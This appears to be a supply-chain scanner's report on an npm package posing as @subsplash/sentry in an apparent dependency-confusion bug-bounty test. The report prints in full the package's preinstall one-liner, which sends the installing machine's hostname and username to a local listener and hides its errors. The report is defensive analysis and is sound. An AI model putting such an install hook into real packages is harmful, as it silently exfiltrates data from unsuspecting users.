registry / Data exfiltration / @rutxploit-sec/subsplash-sentry
@rutxploit-sec/subsplash-sentry
BUGBOUNTY PoC — represents @subsplash/sentry — @subsplash/sentry (62 refs in bundles) — Subsplash report 7a8faa0b
This report shows the evidence for @rutxploit-sec/subsplash-sentry@1.0.0, the only known version.
AI Security Review
scanned 25d ago · by lpm-firewall-aiThe preinstall hook unconditionally exfiltrates hostname and username to a listener and suppresses errors, which is concrete install-time data collection. A loopback URL and bug-bounty wording do not make that install behavior consented or harmless.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm preinstall during package installation; requiring the package only prints a log line.
Impact
Any install leaks the host name and local account name to whatever is listening on 127.0.0.1 port 8099, without a user command beyond install.
Mechanism
The preinstall script executes node -e, calls os.hostname and os.userInfo().username, and issues http.get to http://127.0.0.1:8099 with those values plus a fixed package name in the query string, then redirects stderr to /dev/null.
Attack narrative
On npm install, the preinstall script starts Node, reads the computer hostname and the current username, and sends both in a query string to http://127.0.0.1:8099 while naming the request as @subsplash/sentry. Standard error from that command is discarded. The package description and the main module present the package as a public stand-in for @subsplash/sentry. Claims that this is an authorized bug-bounty fixture do not remove the unsolicited install-time beacon.
AI rationale
The preinstall hook unconditionally exfiltrates hostname and username to a listener and suppresses errors, which is concrete install-time data collection. A loopback URL and bug-bounty wording do not make that install behavior consented or harmless.
Evidence
package.jsonindex.js
Network endpoints1
127.0.0.1:8099
Decision evidence
public snapshotAI called this Malicious at 94.0% confidence as Malware with low false-positive risk.
Evidence for block
- npm preinstall runs a node one-liner that reads the machine hostname and OS username and sends them in a GET query to http://127.0.0.1:8099, labeled as package @subsplash/sentry.
- The same preinstall hook discards stderr with 2>/dev/null and prints a dependency-confusion execution banner.
- index.js, loaded via main, logs that @subsplash/sentry was loaded from the public npm registry and exports an empty object.
Evidence against
- The callback host is loopback 127.0.0.1 rather than a remote collector.
- index.js imports os but does not read or send hostname or username when the module is required.
- No file writes, credential-file reads, or runtime self-dependency are present.
Behavioral surface
HighEntropyStringsTrivial
Source & flagged code
6 flagged · loading sourcepackage.jsonView file
•scripts.preinstall = node -e "var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@subsplash/sentry')+'&host='+...
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.preinstall = node -e "var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@subsplash/sentry')+'&host='+...
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7preinstall": "node -e \"var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@subsplash/sentry')+'&host='+encodeURIComponent(h)+'&user='+encodeURIComponent(u),function(r){r.resume()});\" 2>/d
High
Ai Review Evidence
npm preinstall runs a node one-liner that reads the machine hostname and OS username and sends them in a GET query to http://127.0.0.1:8099, labeled as package @subsplash/sentry.
Findings
1 Critical5 High2 Low
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
HighSemantic Analysis Limitedpackage.json#scripts.preinstall
HighAi Review Evidencepackage.json
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidenceindex.js
LowScripts Present
LowHigh Entropy Strings
Affected versions and remediation
This report applies to @rutxploit-sec/subsplash-sentry@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing @rutxploit-sec/subsplash-sentry@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
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